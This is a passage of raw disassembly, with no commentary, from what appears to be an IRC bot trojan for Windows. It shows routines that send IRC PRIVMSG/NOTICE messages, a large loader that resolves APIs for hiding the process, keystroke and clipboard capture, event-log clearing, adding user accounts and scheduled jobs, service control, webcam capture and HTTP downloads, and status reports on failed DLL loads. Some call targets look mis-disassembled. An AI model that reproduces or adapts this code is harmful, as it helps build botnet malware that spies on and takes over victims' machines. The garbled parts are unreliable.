sub_409A2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A73 proc near ; CODE XREF: sub_401ACD+518p
; sub_401ACD+137Ep ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_409A8E
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_409A8E: ; CODE XREF: sub_409A73+14j
push edi
call sub_41AFE0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_41AFE0
pop ecx
sub esi, eax
pop ecx
lea eax, [ebp+var_400]
push [ebp+arg_8]
push offset aS_1 ; "%s"
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS_0 ; "%s %s :%s\r\n"
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CB6A4
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_409B11
push 7D0h
nop
call near ptr 26A0F44h
locret_409B11: ; CODE XREF: sub_409A73+91j
leave
retn
sub_409A73 endp
; =============== S U B R O U T I N E =======================================
sub_409B13 proc near ; CODE XREF: ___:0040126Cp
push ebx
push ebp
mov ebp, dword_42709C
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp
mov esi, dword_4270BC
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409C33
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4CB700, eax
call esi
push offset aProcess32first ; "Process32First"
push edi
mov dword_4CB674, eax
call esi
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4CB658, eax
call esi
push offset aModule32first ; "Module32First"
push edi
mov dword_4CB568, eax
call esi
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_4CB514, eax
call esi
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4CB544, eax
call esi
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4CB5BC, eax
call esi
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4CB6B4, eax
call esi
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_4CB710, eax
call esi
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4CB574, eax
call esi
cmp dword_4CB700, ebx
mov dword_4CB55C, eax
jz short loc_409C11
cmp dword_4CB674, ebx
jz short loc_409C11
cmp dword_4CB658, ebx
jz short loc_409C11
cmp dword_4CB568, ebx
jz short loc_409C11
cmp dword_4CB544, ebx
jz short loc_409C11
cmp dword_4CB5BC, ebx
jz short loc_409C11
cmp dword_4CB6B4, ebx
jz short loc_409C11
cmp dword_4CB710, ebx
jz short loc_409C11
cmp dword_4CB574, ebx
jz short loc_409C11
cmp eax, ebx
jnz short loc_409C1B
loc_409C11: ; CODE XREF: sub_409B13+B8j
; sub_409B13+C0j ...
mov dword_4CB714, 1
loc_409C1B: ; CODE XREF: sub_409B13+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi
cmp eax, ebx
mov dword_4CB68C, eax
jz short loc_409C48
push 1
push ebx
call eax
jmp short loc_409C48
; ---------------------------------------------------------------------------
loc_409C33: ; CODE XREF: sub_409B13+1Dj
nop
call near ptr 26B0857h
mov dword_4CB718, eax
mov dword_4CB714, 1
loc_409C48: ; CODE XREF: sub_409B13+117j
; sub_409B13+11Ej
push offset aUser32_dll ; "user32.dll"
nop
call near ptr 26E0000h
mov edi, eax
cmp edi, ebx
jz loc_409D5D
push offset aSendmessagea ; "SendMessageA"
push edi
call esi
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4CB6B0, eax
call esi
push offset aIswindow ; "IsWindow"
push edi
mov dword_4CB660, eax
call esi
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4CB5F4, eax
call esi
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4CB704, eax
call esi
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_4CB624, eax
call esi
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4CB644, eax
call esi
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_4CB6A8, eax
call esi
cmp dword_4CB6B0, ebx
mov dword_4CB594, eax
jz short loc_409D01
cmp dword_4CB660, ebx
jz short loc_409D01
cmp dword_4CB5F4, ebx
jz short loc_409D01
cmp dword_4CB704, ebx
jz short loc_409D01
cmp dword_4CB624, ebx
jz short loc_409D01
cmp dword_4CB644, ebx
jz short loc_409D01
cmp dword_4CB6A8, ebx
jz short loc_409D01
cmp eax, ebx
jnz short loc_409D0B
loc_409D01: ; CODE XREF: sub_409B13+1B8j
; sub_409B13+1C0j ...
mov dword_4CB71C, 1
loc_409D0B: ; CODE XREF: sub_409B13+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_4CB620, eax
call esi
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_4CB528, eax
call esi
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4CB5F0, eax
call esi
cmp dword_4CB620, ebx
mov dword_4CB5D8, eax
jz short loc_409D68
cmp dword_4CB528, ebx
jz short loc_409D68
cmp dword_4CB5F0, ebx
jz short loc_409D68
cmp eax, ebx
jnz short loc_409D72
jmp short loc_409D68
; ---------------------------------------------------------------------------
loc_409D5D: ; CODE XREF: sub_409B13+144j
nop
call near ptr 26B0857h
mov dword_4CB720, eax
loc_409D68: ; CODE XREF: sub_409B13+232j
; sub_409B13+23Aj ...
mov dword_4CB71C, 1
loc_409D72: ; CODE XREF: sub_409B13+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409F2B
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4CB6C4, eax
call esi
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4CB608, eax
call esi
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4CB678, eax
call esi
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4CB554, eax
call esi
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4CB5B8, eax
call esi
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4CB630, eax
call esi
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4CB5D4, eax
call esi
cmp dword_4CB6C4, ebx
mov dword_4CB5E4, eax
jz short loc_409E1B
cmp dword_4CB608, ebx
jz short loc_409E1B
cmp dword_4CB678, ebx
jz short loc_409E1B
cmp dword_4CB554, ebx
jz short loc_409E1B
cmp dword_4CB5B8, ebx
jz short loc_409E1B
cmp dword_4CB630, ebx
jnz short loc_409E25
loc_409E1B: ; CODE XREF: sub_409B13+2DEj
; sub_409B13+2E6j ...
mov dword_4CB724, 1
loc_409E25: ; CODE XREF: sub_409B13+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_4CB638, eax
call esi
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_4CB610, eax
call esi
cmp dword_4CB638, ebx
mov dword_4CB6C0, eax
jz short loc_409E60
cmp dword_4CB610, ebx
jz short loc_409E60
cmp eax, ebx
jnz short loc_409E6A
loc_409E60: ; CODE XREF: sub_409B13+33Fj
; sub_409B13+347j
mov dword_4CB724, 1
loc_409E6A: ; CODE XREF: sub_409B13+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4CB648, eax
call esi
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4CB530, eax
call esi
push offset aControlservice ; "ControlService"
push edi
mov dword_4CB538, eax
call esi
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4CB59C, eax
call esi
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4CB5A0, eax
call esi
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4CB54C, eax
call esi
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4CB614, eax
call esi
cmp dword_4CB648, ebx
mov dword_4CB53C, eax
jz short loc_409F0E
cmp dword_4CB530, ebx
jz short loc_409F0E
cmp dword_4CB538, ebx
jz short loc_409F0E
cmp dword_4CB59C, ebx
jz short loc_409F0E
cmp dword_4CB5A0, ebx
jz short loc_409F0E
cmp dword_4CB54C, ebx
jz short loc_409F0E
cmp dword_4CB614, ebx
jz short loc_409F0E
cmp eax, ebx
jnz short loc_409F18
loc_409F0E: ; CODE XREF: sub_409B13+3C5j
; sub_409B13+3CDj ...
mov dword_4CB724, 1
loc_409F18: ; CODE XREF: sub_409B13+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi
cmp eax, ebx
mov dword_4CB534, eax
jnz short loc_409F40
jmp short loc_409F36
; ---------------------------------------------------------------------------
loc_409F2B: ; CODE XREF: sub_409B13+26Aj
nop
call near ptr 26B0857h
mov dword_4CB728, eax
loc_409F36: ; CODE XREF: sub_409B13+416j
mov dword_4CB724, 1
loc_409F40: ; CODE XREF: sub_409B13+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A00C
push offset aCreatedca ; "CreateDCA"
push edi
call esi
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4CB640, eax
call esi
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4CB698, eax
call esi
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_4CB6A0, eax
call esi
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4CB65C, eax
call esi
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4CB578, eax
call esi
push offset aBitblt ; "BitBlt"
push edi
mov dword_4CB524, eax
call esi
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_4CB69C, eax
call esi
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_4CB510, eax
call esi
cmp dword_4CB640, ebx
mov dword_4CB5B0, eax
jz short loc_40A017
cmp dword_4CB698, ebx
jz short loc_40A017
cmp dword_4CB6A0, ebx
jz short loc_40A017
cmp dword_4CB65C, ebx
jz short loc_40A017
cmp dword_4CB578, ebx
jz short loc_40A017
cmp dword_4CB524, ebx
jz short loc_40A017
cmp dword_4CB69C, ebx
jz short loc_40A017
cmp dword_4CB510, ebx
jz short loc_40A017
cmp eax, ebx
jnz short loc_40A021
jmp short loc_40A017
; ---------------------------------------------------------------------------
loc_40A00C: ; CODE XREF: sub_409B13+438j
nop
call near ptr 26B0857h
mov dword_4CB730, eax
loc_40A017: ; CODE XREF: sub_409B13+4B9j
; sub_409B13+4C1j ...
mov dword_4CB72C, 1
loc_40A021: ; CODE XREF: sub_409B13+4F5j
mov ebp, dword_4270B8
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A2DD
push offset aWsastartup ; "WSAStartup"
push edi
call esi
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4CB5C4, eax
call esi
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4CB6F8, eax
call esi
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4CB564, eax
call esi
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4CB540, eax
call esi
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4CB600, eax
call esi
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4CB5E8, eax
call esi
push offset aSocket ; "socket"
push edi
mov dword_4CB5AC, eax
call esi
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4CB6D4, eax
call esi
push offset aConnect ; "connect"
push edi
mov dword_4CB6F0, eax
call esi
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4CB5FC, eax
call esi
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4CB6E0, eax
call esi
push offset aHtons ; "htons"
push edi
mov dword_4CB694, eax
call esi
push offset aHtonl ; "htonl"
push edi
mov dword_4CB654, eax
call esi
push offset aNtohs ; "ntohs"
push edi
mov dword_4CB650, eax
call esi
push offset aNtohl ; "ntohl"
push edi
mov dword_4CB584, eax
call esi
push offset aSend ; "send"
push edi
mov dword_4CB57C, eax
call esi
push offset aSendto ; "sendto"
push edi
mov dword_4CB6A4, eax
call esi
push offset aRecv ; "recv"
push edi
mov dword_4CB6B8, eax
call esi
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4CB66C, eax
call esi
mov dword_4CB62C, eax
push offset aBind ; "bind"
push edi
call esi
push offset aSelect ; "select"
push edi
mov dword_4CB680, eax
call esi
push offset aListen ; "listen"
push edi
mov dword_4CB63C, eax
call esi
push offset aAccept ; "accept"
push edi
mov dword_4CB67C, eax
call esi
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4CB6E8, eax
call esi
push offset aGetsockname ; "getsockname"
push edi
mov dword_4CB634, eax
call esi
push offset aGethostname ; "gethostname"
push edi
mov dword_4CB5F8, eax
call esi
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4CB668, eax
call esi
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4CB6D8, eax
call esi
push offset aGetpeername ; "getpeername"
push edi
mov dword_4CB60C, eax
call esi
push offset aClosesocket ; "closesocket"
push edi
mov dword_4CB5A8, eax
call esi
cmp dword_4CB5C4, ebx
mov dword_4CB6EC, eax
jz loc_40A2E8
cmp dword_4CB6F8, ebx
jz loc_40A2E8
cmp dword_4CB564, ebx
jz loc_40A2E8
cmp dword_4CB600, ebx
jz loc_40A2E8
cmp dword_4CB5E8, ebx
jz loc_40A2E8
cmp dword_4CB5AC, ebx
jz loc_40A2E8
cmp dword_4CB6D4, ebx
jz loc_40A2E8
cmp dword_4CB6F0, ebx
jz loc_40A2E8
cmp dword_4CB5FC, ebx
jz loc_40A2E8
cmp dword_4CB6E0, ebx
jz loc_40A2E8
cmp dword_4CB694, ebx
jz loc_40A2E8
cmp dword_4CB654, ebx
jz loc_40A2E8
cmp dword_4CB650, ebx
jz loc_40A2E8
cmp dword_4CB584, ebx
jz short loc_40A2E8
cmp dword_4CB6A4, ebx
jz short loc_40A2E8
cmp dword_4CB6B8, ebx
jz short loc_40A2E8
cmp dword_4CB66C, ebx
jz short loc_40A2E8
cmp dword_4CB62C, ebx
jz short loc_40A2E8
cmp dword_4CB680, ebx
jz short loc_40A2E8
cmp dword_4CB63C, ebx
jz short loc_40A2E8
cmp dword_4CB67C, ebx
jz short loc_40A2E8
cmp dword_4CB6E8, ebx
jz short loc_40A2E8
cmp dword_4CB634, ebx
jz short loc_40A2E8
cmp dword_4CB5F8, ebx
jz short loc_40A2E8
cmp dword_4CB668, ebx
jz short loc_40A2E8
cmp dword_4CB6D8, ebx
jz short loc_40A2E8
cmp dword_4CB60C, ebx
jz short loc_40A2E8
cmp eax, ebx
jnz short loc_40A2F2
jmp short loc_40A2E8
; ---------------------------------------------------------------------------
loc_40A2DD: ; CODE XREF: sub_409B13+51Fj
nop
call near ptr 26B0857h
mov dword_4CB738, eax
loc_40A2E8: ; CODE XREF: sub_409B13+6BEj
; sub_409B13+6CAj ...
mov dword_4CB734, 1
loc_40A2F2: ; CODE XREF: sub_409B13+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A3F7
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4CB590, eax
call esi
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_4CB518, eax
call esi
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_4CB61C, eax
call esi
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4CB5C8, eax
call esi
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_4CB628, eax
call esi
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4CB5EC, eax
call esi
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4CB558, eax
call esi
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4CB550, eax
call esi
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4CB560, eax
call esi
cmp dword_4CB590, ebx
mov ecx, dword_4CB5EC
mov dword_4CB688, eax
jz short loc_40A3D3
cmp dword_4CB518, ebx
jz short loc_40A3D3
cmp dword_4CB61C, ebx
jz short loc_40A3D3
cmp dword_4CB5C8, ebx
jz short loc_40A3D3
cmp dword_4CB628, ebx
jz short loc_40A3D3
cmp ecx, ebx
jz short loc_40A3D3
cmp dword_4CB558, ebx
jz short loc_40A3D3
cmp dword_4CB550, ebx
jz short loc_40A3D3
cmp dword_4CB560, ebx
jz short loc_40A3D3
cmp eax, ebx
jnz short loc_40A3DD
loc_40A3D3: ; CODE XREF: sub_409B13+87Ej
; sub_409B13+886j ...
mov dword_4CB73C, 1
loc_40A3DD: ; CODE XREF: sub_409B13+8BEj
cmp ecx, ebx
jz short loc_40A412
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx
cmp eax, ebx
mov dword_4CB604, eax
jnz short loc_40A412
jmp short loc_40A40C
; ---------------------------------------------------------------------------
loc_40A3F7: ; CODE XREF: sub_409B13+7EAj
nop
call near ptr 26B0857h
mov dword_4CB740, eax
mov dword_4CB73C, 1
loc_40A40C: ; CODE XREF: sub_409B13+8E2j
mov dword_4CB604, ebx
loc_40A412: ; CODE XREF: sub_409B13+8CCj
; sub_409B13+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A45C
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4CB5DC, eax
call esi
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_4CB70C, eax
call esi
cmp dword_4CB5DC, ebx
mov dword_4CB56C, eax
jz short loc_40A467
cmp dword_4CB70C, ebx
jz short loc_40A467
cmp eax, ebx
jnz short loc_40A471
jmp short loc_40A467
; ---------------------------------------------------------------------------
loc_40A45C: ; CODE XREF: sub_409B13+90Aj
call near ptr 26B0857h
nop
mov dword_4CB748, eax
loc_40A467: ; CODE XREF: sub_409B13+939j
; sub_409B13+941j ...
mov dword_4CB744, 1
loc_40A471: ; CODE XREF: sub_409B13+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A578
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4CB548, eax
call esi
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4CB520, eax
call esi
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_4CB598, eax
call esi
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4CB5CC, eax
call esi
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4CB6E4, eax
call esi
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4CB580, eax
call esi
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4CB52C, eax
call esi
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4CB51C, eax
call esi
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4CB5B4, eax
call esi
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4CB6AC, eax
call esi
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_4CB664, eax
call esi
cmp dword_4CB548, ebx
mov dword_4CB588, eax
jz short loc_40A583
cmp dword_4CB520, ebx
jz short loc_40A583
cmp dword_4CB598, ebx
jz short loc_40A583
cmp dword_4CB5CC, ebx
jz short loc_40A583
cmp dword_4CB6E4, ebx
jz short loc_40A583
cmp dword_4CB580, ebx
jz short loc_40A583
cmp dword_4CB52C, ebx
jz short loc_40A583
cmp dword_4CB51C, ebx
jz short loc_40A583
cmp dword_4CB5B4, ebx
jz short loc_40A583
cmp dword_4CB6AC, ebx
jz short loc_40A583
cmp dword_4CB664, ebx
jnz short loc_40A58D
jmp short loc_40A583
; ---------------------------------------------------------------------------
loc_40A578: ; CODE XREF: sub_409B13+969j
nop
call near ptr 26B0857h
mov dword_4CB750, eax
loc_40A583: ; CODE XREF: sub_409B13+A11j
; sub_409B13+A19j ...
mov dword_4CB74C, 1
loc_40A58D: ; CODE XREF: sub_409B13+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A5C2
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4CB570, eax
call esi
cmp dword_4CB570, ebx
mov dword_4CB64C, eax
jz short loc_40A5CD
cmp eax, ebx
jnz short loc_40A5D7
jmp short loc_40A5CD
; ---------------------------------------------------------------------------
loc_40A5C2: ; CODE XREF: sub_409B13+A85j
call near ptr 26B0857h
nop
mov dword_4CB758, eax
loc_40A5CD: ; CODE XREF: sub_409B13+AA7j
; sub_409B13+AADj
mov dword_4CB754, 1
loc_40A5D7: ; CODE XREF: sub_409B13+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A60C
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4CB6D0, eax
call esi
cmp dword_4CB6D0, ebx
mov dword_4CB6CC, eax
jz short loc_40A617
cmp eax, ebx
jnz short loc_40A621
jmp short loc_40A617
; ---------------------------------------------------------------------------
loc_40A60C: ; CODE XREF: sub_409B13+ACFj
nop
call near ptr 26B0857h
mov dword_4CB760, eax
loc_40A617: ; CODE XREF: sub_409B13+AF1j
; sub_409B13+AF7j
mov dword_4CB75C, 1
loc_40A621: ; CODE XREF: sub_409B13+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A680
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4CB6FC, eax
call esi
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4CB6F4, eax
call esi
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4CB6BC, eax
call esi
cmp dword_4CB6FC, ebx
mov dword_4CB58C, eax
jz short loc_40A68B
cmp dword_4CB6F4, ebx
jz short loc_40A68B
cmp dword_4CB6BC, ebx
jz short loc_40A68B
cmp eax, ebx
jnz short loc_40A695
jmp short loc_40A68B
; ---------------------------------------------------------------------------
loc_40A680: ; CODE XREF: sub_409B13+B19j
nop
call near ptr 26B0857h
mov dword_4CB768, eax
loc_40A68B: ; CODE XREF: sub_409B13+B55j
; sub_409B13+B5Dj ...
mov dword_4CB764, 1
loc_40A695: ; CODE XREF: sub_409B13+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A6CA
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4CB5C0, eax
call esi
cmp dword_4CB5C0, ebx
mov dword_4CB6C8, eax
jz short loc_40A6D5
cmp eax, ebx
jnz short loc_40A6DF
jmp short loc_40A6D5
; ---------------------------------------------------------------------------
loc_40A6CA: ; CODE XREF: sub_409B13+B8Dj
nop
call near ptr 26B0857h
mov dword_4CB770, eax
loc_40A6D5: ; CODE XREF: sub_409B13+BAFj
; sub_409B13+BB5j
mov dword_4CB76C, 1
loc_40A6DF: ; CODE XREF: sub_409B13+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A768
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4CB690, eax
call esi
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4CB6DC, eax
call esi
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_4CB618, eax
call esi
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4CB5D0, eax
call esi
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4CB670, eax
call esi
cmp dword_4CB690, ebx
mov dword_4CB5E0, eax
jz short loc_40A773
cmp dword_4CB6DC, ebx
jz short loc_40A773
cmp dword_4CB618, ebx
jz short loc_40A773
cmp dword_4CB5D0, ebx
jz short loc_40A773
cmp dword_4CB670, ebx
jz short loc_40A773
cmp eax, ebx
jnz short loc_40A77D
jmp short loc_40A773
; ---------------------------------------------------------------------------
loc_40A768: ; CODE XREF: sub_409B13+BD7j
call near ptr 26B0857h
nop
mov dword_4CB778, eax
loc_40A773: ; CODE XREF: sub_409B13+C2Dj
; sub_409B13+C35j ...
mov dword_4CB774, 1
loc_40A77D: ; CODE XREF: sub_409B13+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A7B2
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_4CB5A4, eax
call esi
cmp dword_4CB5A4, ebx
mov dword_4CB684, eax
jz short loc_40A7BD
cmp eax, ebx
jnz short loc_40A7C7
jmp short loc_40A7BD
; ---------------------------------------------------------------------------
loc_40A7B2: ; CODE XREF: sub_409B13+C75j
call near ptr 26B0857h
nop
mov dword_4CB780, eax
loc_40A7BD: ; CODE XREF: sub_409B13+C97j
; sub_409B13+C9Dj
mov dword_4CB77C, 1
loc_40A7C7: ; CODE XREF: sub_409B13+C9Bj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_409B13 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A7CF proc near ; CODE XREF: sub_401ACD+2537p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_4CB714, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A817
push dword_4CB718
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40A817: ; CODE XREF: sub_40A7CF+1Aj
cmp dword_4CB71C, esi
jz short loc_40A84B
push dword_4CB720
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40A84B: ; CODE XREF: sub_40A7CF+4Ej
cmp dword_4CB724, esi
jz short loc_40A87F
push dword_4CB728
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40A87F: ; CODE XREF: sub_40A7CF+82j
cmp dword_4CB72C, esi
jz short loc_40A8B3
push dword_4CB730
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40A8B3: ; CODE XREF: sub_40A7CF+B6j
cmp dword_4CB734, esi
jz short loc_40A8E7
push dword_4CB738
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40A8E7: ; CODE XREF: sub_40A7CF+EAj
cmp dword_4CB73C, esi
jz short loc_40A91B
push dword_4CB740
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40A91B: ; CODE XREF: sub_40A7CF+11Ej
cmp dword_4CB744, esi
jz short loc_40A94F
push dword_4CB748
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
